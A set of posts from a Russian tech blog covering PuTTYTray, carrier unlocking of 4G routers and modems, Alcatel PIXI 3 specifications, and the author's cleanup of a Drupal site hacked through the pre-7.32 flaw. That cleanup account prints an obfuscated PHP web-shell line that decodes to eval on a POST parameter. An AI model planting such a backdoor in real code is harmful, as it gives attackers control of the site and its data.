PuTTYTray. Удобный fork знаменитого PuTTY.

"Век живи, век учись ... ", наверное эта пословица здесь не так уместна, но смысл который я хотел передать - сколько бы ты не знал, с какими инструментами бы не работал, всегда найдется что-то удобное про что ты еще не слышал и что тебе обязательно пригодится. Так, читая один из форумов, я наткнулся на упоминание о форке Putty - PuTTYTray. Среди заявленных фич по сравнению с оригинальным клиентом: удобна минимизация в трей, возможность автозапуска при старте системы, настраиваемая прозрачность окна, подсветка URL, автоматический reconnect (в том числе и при пробуждении ПК), и самое главное - поддержка Android ADB. Вообщем я решил испытать его в повседневной жизни. Если будут еще какие-либо впечатления - отпишусь.

К слову, PuTTYTray по-умолчанию "цепляет" настройки оригинального PuTTY. Т.е. если вы до этого в работе использовали оригинальный клиент - то перенастраивать соединения и т.п. вам не придется.

Можно ли разблокировать Yota Many / Мегафон MR100-2?

На многих форумах и других околомобильных интернет-ресурсах пользователи часто задаются вопросом, а можно ли разлочить 4G WiFi роутер Yota Many или его мегафоновскую версию MR100-2? До недавнего времени ответа на этот вопрос не было. Вернее единственным способом разблокировки этих устройств было написание обращения в компанию Yota с просьбой о предоставлении кода разблокировки. Форму заявления на предоставление кода разблокировки, а также инструкцию по разблокировке можно скачать тут, программу для разблокировки, про которую говорится в инструкции, тут - Many Unlock Tool. Однако, что делать, если по тем или иным причинам обратиться в Yota для предоставления кода разблокировки не получается? (к слову, судя по постам на форуме 4PDA люди пытались обращаться в Мегафон, с просьбой предоставить код разблокировки к мегафоновской версии роутера - Мегафон MR100-2, однако в компании ответили отказом со следующей формулировкой: "Информация о том, что роутер 4G Мегафон MR100-2 работает только с SIM-картой Мегафон, была доведена до Вас в доступной и наглядной форме, путем размещения данной информации на ценнике, а также в Руководстве пользователя, где прямо указано, что Ваша сим-карта должна быть Мегафон").

Способ все-таки есть и появился он как раз на UnlockClub'е, про который я периодически рассказываю на страницах своего блога. В данный момент там проводится тестирование разблокировки Мегафон MR100-2 / Yota Many, и судя по отзывам в теме уже двое человек успешно разблокировали свои девайсы. Собственно вот сама тема: Как разблокировать роутер Мегафон MR100-2 / Yota Many? ... Пруф в виде скриншотов работы Мегафон MR100-2 с симкартой Билайн прилагается. На всякий случай приведу несколько картинок здесь:

На первой показан результат успешного ввода кода разблокировки, а на второй отчетливо видно, что роутер зарегистрировался в сети Beeline 3G, после этого был отправлен USSD-запрос *110*10# (узнать собственный номер телефона), а также получен ответ от оператора в SMS. Так что все работает. Возможно на днях, я выложу здесь видео по разблокировке данных устройств.

Обратите внимание, что проводимое в рамках темы Как разблокировать роутер Мегафон MR100-2 / Yota Many? тестирование имеет ограниченный срок действия. На момент написания этой заметки осталось еще 7 "свободных заявок" на бесплатное получение кода разблокировки. С подробностями проводимого тестирования можно ознакомиться там же.

Чуть позже, наверное, я выложу в своем блоге видеоролик наглядно демонстрирующий процесс разблокировки устройства, а также другую полезную информацию. Прошивки для Мегафон MR100-2 и Yota Many, описание способа получения доступа к расширенной панели администрирования Gemtek для этих устройств и др. Ну а на сегодня всё ;)

Статьи и обзоры

• Проект «Руби» — новый LTE-роутер: что внутри, и как мы его разрабатывали
• МегаФон: мобильный роутер MR100-2 (обзор от Mobile Review)
• Обзор 4G-модема MR100-2 (Habrahabr)
• Беспроводной 4G-роутер МегаФон MR100-2 (обзор от iXBT)

Видеоинструкция. Разблокировка Yota Many, Мегафон MR100-2.

ALCATEL ONETOUCH PIXI 3 Family

Не так давно из официальных источников стало известно, что Alcatel запустил новую линейку телефонов PIXI 3. Среди представленных моделей 3G и 4G LTE смартфоны. Главным "козырем" линейки является ОС-независимость, т.е. судя по заявлениям производителя будет поддерживаться как Firefox OS, так и Android и даже мобильные ОС семейства Windows. Каким образом этом будет реализовано, т.е. можно ли будет установить Android в телефон приобретенный с Firefox OS и, наооборот, или же определенные модели аппаратов будут поставляться с определенной ОС на сайте производителя не говорится. Цены тоже пока неизвестны, однако, на сайте написано что семейство телефонов Alcatel PIXI 3 - это еще один шаг к 4G LTE интернету по доступной цене.

6 января 2015 на выставке CES 2015 компания Alcatel, один из самых быстрорастущих мировых брендов производителей смартфонов, объявила о запуске третьего поколения семейства смартфонов PIXI - Alcatel OneTouch PIXI 3. В рамках линейки пользователям будут доступны несколько различных моделей, начиная от компактных, умещающихся в кармане 3.5" смартфонов до солидных 5" аппаратов, Ожидаются следующие варианты устройств: PIXI 3 (4”), (4.5”) и (5”) с поддержкой 3G/4G LTE и 3G-версия PIXI 3 (3.5”). При этом также, разделение будет идти не только по размеру экрана, а также наличию / отсутствию 4G/LTE модуля, но и в рамках используемой ОС (Android, Firefox OS, Windows). Что касается версий Windows и Firefox OS - пока непонятно, а вот пользователи Android смогут рассчитывать на Android KitKat и даже Android L.

Краткие технические характеристики смартфонов
Alcatel One Touch PIXI 3

PIXI 3 (3.5”)

DIMENSIONS	112.2 x 62 x 11.9mm
DISPLAY	3.5‘’ HVGA (320x480), TFT 262K color display Capacitive touch screen with gesture
OS	Android KitKat 4.4
BANDS	Mini SIM, EAP SIM GSM Quadband (850/ 900/ 1800/ 1900) UMTS Dualband (900/2100) à EMEA UMTS Dualband (850/ 1900) à LATAM UMTS Triband (850/ 1900/ 2100) à LATAM
CPU	Dual Core 1.0GHz
CONNECTIVITY	Wi-Fi 802.11 b/g/n, Wi-Fi Direct, Wi-Fi tethering Bluetooth (v4.0) with A2DP HSPA+ (HSDPA/HSUPA), DL 21Mbps/ UL 5.76Mbps Micro USB 2.0 high speed GPS optional
CAMERAS	2 Mpxl camera / 2 & 5 Mpxl photos Front camera VGA & 1.3Mpxl photos opt. Flash optional / Filters Video codecs: H.263, MPEG4, H.264, AAC Video capture: 480P @15fps / Video playback: 480P @15fps
MEMORY	Internal memory: 4GB ROM / 512MB DDR3 RAM End user: 1.9GB MicroSD up to 32GB
BATTERY	3G LATAM: 1150mAh, Li-ion, 4.2V, Hard pack Standby time: 381 hrs(2G); 286 hrs(3G) Talk time: 6 hrs(2G); 5.7 hrs(3G) Music player: 35 hrs / Charging time: 3 hrs 3G EMEA: 1300mAh, Li-ion, 4.2V, Hard pack Standby time: 432 hrs(2G); 325 hrs(3G) Talk time: 7 hrs(2G); 6.5 hrs(3G) Music player: 40 hrs / Charging time: 3.4 hrs
CHIPSET	MT6572M
OTHERS	G-sensor, Dual SIM (optional), Handsfree, FM Radio, Smart Torch, 1 finger zoom, Pre-embedded apps, Mini apps

PIXI 3 (4”)

DIMENSIONS	121.6 x 64.4 x 11.6mm (3G) 121.3 x 64.2 x 11.6mm (4G)
DISPLAY	4‘’ WVGA (800x480), TFT 16.7M (3G) 16M (4G) color display Capacitive 2 points touch screen with gesture
OS	Android KitKat 4.4 (3G) Android Kitkat for LATAM and L for EMEA (4G)
BANDS	Mini Sim (3G), Micro SIM (4G), EAP SIM GSM Quadband (850/ 900/ 1800/ 1900) UMTS Dualband (900/2100) à EMEA UMTS Dualband (850/ 1900) à LATAM UMTS Triband (850/900/2100) à LATAM UMTS Triband (850/ 1900/ 2100) à LATAM LTE B1/3/7/8/20 (EMEA); B1/2/4/7/28 (LATAM) (4G)
CPU	Dual Core 1.0GHz (3G) Quad core, 1.1GHz (4G)
CONNECTIVITY	Wi-Fi 802.11 b/g/n, Wi-Fi Direct, Wi-Fi tethering Bluetooth (v4.0) with A2DP HSPA+ (HSDPA/HSUPA), DL 21Mbps/ UL 5.76Mbps (3G) //// LTE DL 150Mbps, UL 50Mbps (4G) Micro USB 2.0 high speed GPS
CAMERAS	2 & 5 Mpxl camera / 3, 5 & 8 Mpxl photos Front camera VGA & 1.3Mpxl photos opt. Flash / Filters / HDR (3G) / Panorama Video codecs: H.263, MPEG4, H.264, AAC (3G) // (H.263, H.264, H.265, AVC, MPEG-4 SP, VP8, VP9) (4G) Video capture: 720P @30fps / Video playback: 720P @30fps (3G) Video capture: 720P @30fps / Video playback: 1080p @30fps (4G)
MEMORY	Internal memory: 4GB ROM / 512MB RAM End user: 1.8GB (3G) // 2GB (4G) MicroSD up to 32GB
BATTERY	3G LATAM: 1300mAh, Li-ion, 4.2V, Hard pack Standby time: 433 hrs(2G); 325 hrs(3G) Talk time: 7.8 hrs(2G); 7.2 hrs(3G) Charging time: 3.3 hrs 3G EMEA: 1400mAh, Li-ion, 4.2V, Hard pack Standby time: 466 hrs(2G); 350 hrs(3G) Talk time: 8.3 hrs(2G); 7.8 hrs(3G) Charging time: 3.5 hrs 4G: 1650mAh
CHIPSET	MT6572M (3G) MSM8909 (4G)
OTHERS	G-sensor, Dual SIM (optional), Handsfree, FM Radio, Smart Torch, 1 finger zoom, Pre-embedded apps, QR code in camera, Mini apps, Download booster (4G)

PIXI 3 (4.5”) 

DIMENSIONS	132.2 x 65.1 x 11.7mm (3G) 132.2 x 65.1 x 9.95mm (4G)
DISPLAY	4.5‘’ FWVGA (854x480), TFT 16M color display Capacitive 2 points touch screen on-cell
OS	Android KitKat 4.4
BANDS	Mini Sim (3G), Micro SIM (4G), EAP SIM GSM Quadband (850/ 900/ 1800/ 1900) UMTS Dualband (900/2100) à EMEA UMTS Triband (850/900/2100) à LATAM UMTS Triband (850/ 1900/ 2100) à LATAM LTE B1/3/7/8/20(EMEA); B1/2/3/4/7/28(LATAM) (4G)
CPU	Dual Core 1.0GHz (3G) Quad core, 1.1GHz (4G)
CONNECTIVITY	Wi-Fi 802.11 b/g/n, Wi-Fi Direct USB modem tethering Bluetooth (v4.0) HSPA+ (HSDPA/HSUPA), DL 21Mbps/ UL 5.76Mbps (3G) //// LTE DL 150Mbps, UL 50Mbps (4G) Micro USB 2.0 high speed GPS
CAMERAS	5 Mpxl camera / 8 Mpxl photos Front camera VGA & 1.3Mpxl & 2Mpxl photos opt. Flash / Filters / HDR(3G) / Panorama (4G) Video codecs: (H.263, H.264 AVC, MPEG-4 SP, VP8) (3G) Video capture: 480P @15fps / Video playback: 720P @30fps (3G) Video capture: 720P @30fps / Video playback: 720P @30fps (4G)
MEMORY	Internal memory: 4GB ROM / 512MB RAM (4GB ROM/1GB RAM, variant 3G Latam) End user: 2GB MicroSD up to 32GB
BATTERY	3G: 1400mAh, Hard pack Standby time: 480 hrs(2G); 300 hrs(3G) Talk time: 10 hrs(2G); 9.5 hrs(3G) Charging time: 3 hrs 4G: 1800mAh, Hard pack Standby time: 270 hrs(2G); 220 hrs(3G); 200 hrs(4G) Talk time: 10 hrs Charging time: 3.5 hrs
CHIPSET	MTK6572M (3G) MTK6735M (4G)
OTHERS	G-sensor, Dual SIM (optional), Handsfree, FM Radio, Smart Torch, 1 finger zoom, Pre-embedded apps, QR code in camera, Mini apps, Download booster (4G)

PIXI 3 (5”)

DIMENSIONS	141 x 71.5x 9.95 mm
DISPLAY	5‘’ FWVGA (854x480), TFT 16m color display Capacitive touch screen with gesture Miravision technologie (3G)
OS	Android Kitkat (3G) Android L (4G)
BANDS	Micro Sim, EAP SIM GSM Quadband (850/ 900/ 1800/ 1900) UMTS Dualband (900/ 2100) à EMEA UMTS Quadband (850/ 900/ 1900/ 2100) à LATAM UMTS Triband (850/ 900/ 2100) à APAC LTE EMEA: B1/3/7/8/20 // APAC: B1/3 // LATAM: B1/2/3/4/7/28
CPU	Dual Core 1.3GHz (QuadCore 1.3GHz optional) (3G) Quad Core 1.1GHz (4G)
CONNECTIVITY	Wi-Fi 802.11 b/g/n, Wi-Fi Direct, USB modem tethering Bluetooth, HSPA+ (HSDPA/HSUPA), DL 21Mbps/ UL 5.76Mbps (3G) //// LTE DL 150Mbps, UL 50Mbps (4G) GPS, Wifi display (Miracast) Micro USB, 2.0 High Speed
CAMERAS	5Mpxl & 8Mpxl camera / 10Mpxl photos Flash optional, HDR, Panorama, Fast auto focus opt. (AF camera, 3G), Video effect & Camera image effects (3G), filters Video codecs: H.264, H.263, MPEG-4, XVID, VP8, VC-1 Video capture: 720P@30fps/ Video playback: 1080p 30fps Front camera 0.3 & 2 Mpxl camera / 1.3 & 3 Mpxl photos
MEMORY	Internal memory: 4GB ROM / 512MB RAM (8GB ROM/ 1GB RAM compatible) (3G) 8GB ROM / 1GB RAM (4G) End user: 2GB / MicroSD up to 32GB
BATTERY	3G: 1800mAh, Hard pack Standby time: 510 hrs(2G); 450 hrs(3G) / Talk time: 11 hrs(2G); 9 hrs(3G) Charging time: 4 hrs 4G: 2000mAh, Hard pack
CHIPSET	MT6570 (Default), MT6580 (3G) // MSM8909 (4G)
OTHERS	G-sensor, Dual SIM (optional), Handsfree, FM Radio, Smart Torch, 1 finger zoom, Pre-embedded apps, Mini apps, QR code in camera, Download booster (4G)

Как видно, 3G аппараты будут построены на SoC от MediaTek, в то время как 4G/LTE на MSM от Qualcomm. Кстати, если вы заметили в 4.5" версии PIXI 3 с поддержкой 4G будет использоваться новый чип от MediaTek - MTK6735M, также, с поддержкой LTE.

К слову, только сейчас я наткнулся на новость на iXBT - Смартфоны Alcatel OneTouch Pixi 3 не получили несколько операционных систем, но будут доступны во множестве модификаций, из которой следует, что смартфоны не смогут похвастаться несколькими операционными системами. На самом деле в ассортименте будут доступны три модификации каждого аппарата с различными ОС.

Ну и вот несколько видеороликов с новинками (правда на "китайском" и на немецком):

p.s. Разобраться с многообразием версий и индексов новинок можно на официальном сайте производителя. Плюс, ко всему - для некоторых моделей телефонов имеются также и двухсимочные (!) версии.

• Alcatel One Touch Pixi 3 (3.5)
• Alcatel One Touch Pixi 3 (4)

Критическая уязвимость в Drupal и ее последствия

Казалось бы Рождество, и чем мне не отдыхается ... Ан нет. Как говорится "поступил тревожный сигнал" и пришлось работать. Предыстория вообщем-то банальна. У одних моих знакомых был небольшой проект на Drupal. Сайт им делали очень давно и с человеком который его разрабатывал они давно расстались. В результате контент-менеджер добавлял на него новости и все вроде работало до одного прекрасного момента, который как раз настал в ночь под рождество. В пользователях сайта появился пользователь drupaldev (и несколько других), которые входили в группу megauser, которую естественно никто никогда не создавал. Это и послужило сигналом забить тревогу.

Сайт был построен на движке Drupal 7.19 ... когда я заглянул в админку, то вообщем-то не удивился, не обновленное ядро, куча модулей версии которых уже успели устареть на несколько лет. Т.к. безопасностью особенно никто не занимался, то неудивительно что сайт взломали. Первое на что я наткнулся при беглом поиске в интернете по паттерну "drupadev" была статья: Внимание! Критическая уязвимость во всех версиях drupal ниже Drupal 7.32 (Highly critical) (update 9). Если у вас сайт именно на Drupal < 7.32 крайне рекомендую с ней ознакомиться. Прочитав статью, я первым делом сделал backup сайта, на всякий случай, пропатчил уязвимость, заменив в файле includes/database/database.inc в цикле foreach - $data на array_values($data) и принялся смотреть что же стало с сайтом. А итоги были неутешительными. Практически в каждый второй PHP скрипт на сайте был встроен PHP Shell, плюс во всех директориях были созданы дополнительные PHP скрипты, содержащие этот же шелл. Причем в каждом файле текст шелла отличался от предыдущего. Чтобы было понятно покажу наглядно:

$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q4ddc19'])){eval(${$s20}['q4ddc19']);

Если разобрать все это, то у нас получается - eval($_POST['q4ddc19']); Т.е. фактически каждый из "зараженных" скриптов принимал на входе один параметр в POST, содержимое которого тут же интерпретировалось в eval и выполнялось. Т.е. фактически по всему сайту оказались натыканы backdoor'ы, а злоумышленники могли сделать с ним что хотели. Плюс, ситуация осложнялась тем, что shell был "полиморфным". Т.е. в каждом новом файле его код отличался от предыдущего. Если во время "разбора полетов" пропустить хотя бы одну такую "закладку", то вся работа, естественно, насмарку, т.к. злоумышленники в любой момент могут получить доступ к сайту и сделать на нем что угодно, даже после установки всех заплаток и обновлений.

Как я все это вычищал - рассказывать не буду. Обновление ядра, немного фантазии, полуавтоматический анализ пары сотен оставшихся PHP файлов, удаление вредоносного кода, обновление модулей - и сайт "как новый".  Правда, надо признать, что масштаб заражения (т.е. количество мест на сайте в котором были оставлены закладки) был таким, что обычный пользователь вычистил бы все это с большим трудом, если бы вообще вычистил. История показательна другим ... за обновлениями безопасности и community-сайтами своей CMS нужно постоянно следить. Если есть автоматическая функция обновления ядра / модулей CMS рекомендуется включить ее, при появлении информации о критических уязвимостях - немедленно устранять их. Впрочем, все это прописные истины ... На этом, пожалуй, не сегодня все.

Как разблокировать Alcatel One Touch Y850V0?

Не так давно в продаже в салонах связи Билайн появился 4G/Wi-Fi роутер Alcatel One Touch Y850V0. Роутер работает в сетях 4G/HSPA+/3G/2G со скоростью соединения при выходе в Интернет до 150 Мбит/с. Как заявлено на официальном сайте оператора "Новый роутер отличается красивым и современным дизайном, расширенным функционалом и поддержкой высоких скоростей мобильного интернета" - и это действительно так. Вот фото новинки, сделанные пользователем tabyk одного из популярных мобильных форумов 4PDA:

Краткие технические характеристики Alcatel One Touch Y850V0

• Стандарты связи: GSM 850/900/1800/1900 МГц, UMTS 900/2100 МГц, LTE 800(B20)/1800(B3)/2600(B7)
• Скорость передачи данных по технологии LTE: до 150 Мбит/с при загрузке данных и до 50 Мбит/с при отправке данных (указанные скорости являются теоретическим максимом)
• Поддержка Wi-Fi IEEE 802.11 a/b/g/n, диапазоны 2.4 GHz и 5 GHz, скорость передачи данных до 150 Мбит/с (теоретический максимум для стандарта IEEE 802.11n)
• Поддержка одновременного подключения 10 WiFi устройств
• OLED-экран (0.91")
• Батарея 3000 мА·ч
• Поддержка приема и отправки SMS, USSD-запросов

Как следует из надписи на коробке - роутер изначально настроен на работу с SIM-картами "Билайн". Для использования роутера с SIM-картами других операторов потребуется код разблокировки сети (NCK-код), который можно получить здесь.

Полезные ссылки

• 4G/Wi-Fi роутер - Alcatel One Touch Y850V0 Black
• Разблокировка модемов и роутеров Alcatel. Код.

3G-модем Alcatel OT-X602D. Обзор и разблокировка.

Вот и наступил 2015-й год и я, по традиции, решил сделать небольшой обзор новостей. Правда обзор будет кратким, а новость в этом посте будет всего одна ;) Не так давно на UnlockClub'е появилась статья в которой рассказывалось о модеме Alcatel X602D, а также способах его разблокировки от оператора.

Проект UnlockClub.Ru первым в мире заявил о возможности разблокировки OT-X602D NCK-кодом. Отличительной особенностью OT-X602D является то, что этот модем построен на чипе Spreadtrum SC7702. Ввиду отличия программной и аппаратной составляющей X602D от остальных моделей Alcatel - десятизначные коды разблокировки, которые можно найти на многих сайтах, посвященных мобильным устройствам и разблокировке, в частности, к нему не подходят. Модем запрашивает 8-ми значный код разблокировки:

Alcatel X602D. Запрос кода разблокировки.

Получить код разблокировки для X602D можно будет уже после новогодних праздников.

Технические характеристики модема ничем особенным не выделяются. Alcatel OT-X602D - это обычный 3G-модем, работающий в сетях 2G/3G: UMTS/HSPA+ (900/2100 MHz) и GSM/GPRS/EDGE (850/900/1800/1900 MHz). Слота под SD-карту у него нет, возможности раздачи интернет по WiFi тоже. Вообщем, обычная "рабочая лошадка", которая с успехом может использоваться для доступа к мобильному интернет, например, с ноутбука.

Тестировать реальную скорость соединения нет смысла, т.к. фактически все зависит от покрытия в конкретном месте подключения, так, например у меня SpeedTest выдал следующую картинку:

При этом правда, уровень сигнала, судя по показаниям ПО USB-модем "Билайн" был не очень высоким (-97 ... -95 дБм):

Кстати, продающийся в российском Билайне Alcatel OT-X602D по-умолчанию способен работать в сетях со следующими MCC/MNC:

• Kyrgyzstan, Beeline/Bitel (43701)
• Russian Federation, VimpelCom (25099)
• Armenia, ArmenTel/Beeline (28301)
• Georgia, MobiTel/Beeline (28204)
• Kazakhstan, Beeline/KaR-Tel LLP (40101)
• Tajikistan, Bee Line (43605)
• Ukraine, Beeline (25502)
• Ukraine, KyivStar (25503)
• Uzbekistan, Bee Line/Unitel (43404)

Для использования модема в других сетях, потребуется код разблокировки.

Полезные ссылки

• Обзор и разблокировка 3G модема Alcatel OT-X602D

С Новым Годом !

Поздравляю всех посетителей моего блога с уже наступившим Новым Годом! Честно говоря, никакой специальной речи по этому случаю я не подготовил, да и некогда было. Поэтому, просто хочется сказать спасибо нашим посетителям, за то что все это время они были с нами. Искренне желаю вам счастья, здоровья и исполнения всех желаний в наступившем 2015 году! Что касается меня - я принял решение продолжать вести этот блог. Когда я его начинал в апреле 2014 (а может это и раньше было), никаких особенных мыслей у меня не было - т.е. ни тематической направленности, ни чего-либо еще. Так что проект мог кануть в лету, даже не начавшись. Однако, судя по всему, он оказался интересным для вас, поэтому decker.su еще задержится в интернете, как минимум на год ;)